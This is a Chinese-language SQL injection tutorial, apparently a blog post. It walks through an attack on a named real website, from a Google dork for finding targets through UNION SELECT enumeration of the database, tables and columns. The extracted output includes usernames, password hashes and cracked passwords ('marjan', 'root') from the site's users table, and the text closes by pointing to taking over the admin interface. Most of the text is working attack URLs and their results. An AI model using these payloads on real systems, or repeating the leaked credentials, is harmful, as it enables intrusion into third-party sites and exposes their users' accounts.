SQL注入,sql注入原理
通過成功地SQL注入,可能可以拿到目標資料庫的全部資訊!
首先要找到目標網址,以進行漏洞測試。
在google中搜尋:inurl:news.php?id=2
任意點入一個網址:在網址後追加SQL語句,如果報錯,則OK,可注入,如果未報錯,無可注入漏洞或未找到。
比如,找到一個網址:http://www.calidus.ro/en/news.php?id=2
將此連結變成如下,去訪問
http://www.calidus.ro/en/news.php?id=2 UNION SELECT 1--http://www.calidus.ro/en/news.php?id=2 UNION SELECT 1,2--http://www.calidus.ro/en/news.php?id=2 UNION SELECT 1,2,3--http://www.calidus.ro/en/news.php?id=2 UNION SELECT 1,2,3,4--
前三個會提示如下資訊:
Query failed: The used SELECT statements have a different number of columns
由於union的兩個查詢的列的數量需要一樣,所以可知正常的查詢就是4個列。
第四個返回正常的文章外,還返回了
24
說明1,3雖然查詢了,但是沒有顯示出來,那我們就利用2,4欄位。
http://www.calidus.ro/en/news.php?id=2%20UNION%20SELECT%201,version(),3,database()--
5.1.70-logcaliduzb_calidussql
以上,查出了資料庫的版本和當前資料庫名。
下面,查出資料庫使用者名稱。
http://www.calidus.ro/en/news.php?id=2%20UNION%20SELECT%201,version(),3,user()--
5.1.70-logcaliduzb_calidus@localhost
由於此版本已經不支援password()函數,暫時無法查到密碼。
下面的sql查出當前資料庫中所有的表.
http://www.calidus.ro/en/news.php?id=2 union select1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()--
2
about,about_de,about_en,categories,categories_de,categories_en,contact,contact_de,contact_en,customers,eco,eco_de,eco_en,faq,faq_de,faq_en,forum_answer,forum_question,galleries,gallery,gallery_de,gallery_en,gallery_images,imp,mission,mission_de,mission_en,news,news_de,news_en,pellets,pellets_de,pellets_en,prices,products,products_de,products_en,projects,projects_de,projects_en,special_offers,special_offers_de,special_offers_en,support,support_de,support_en,users,vizion,vizion_de,vizion_en
看到一個users表,先看看欄位:
http://www.calidus.ro/en/news.php?id=2 union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='users'--
user_id,user_type,user_regdate,username,user_password,user_email,user_lastvisit,user_last_confirm_key,user_new_privmsg,logcode,username_clean
有使用者名稱、密碼欄位。
下面就查一下使用者名稱、密碼。
http://www.calidus.ro/en/news.php?id=2 union select 1,username,3,user_password from users--
dexmoda0dbde9503e13437db0f854b0b72a73badmin63a9f0ea7bb98050796b649e85481845miladro122f961db675f6a45b998594471a990b
使用者名稱是明文,密碼hash過。上解密網站一查,分別是marjan,root,沒解出來。
到這裡,去找網站的管理介面就可以管理網站了。(已經給網站聯絡郵箱發郵件告知sql注入漏洞)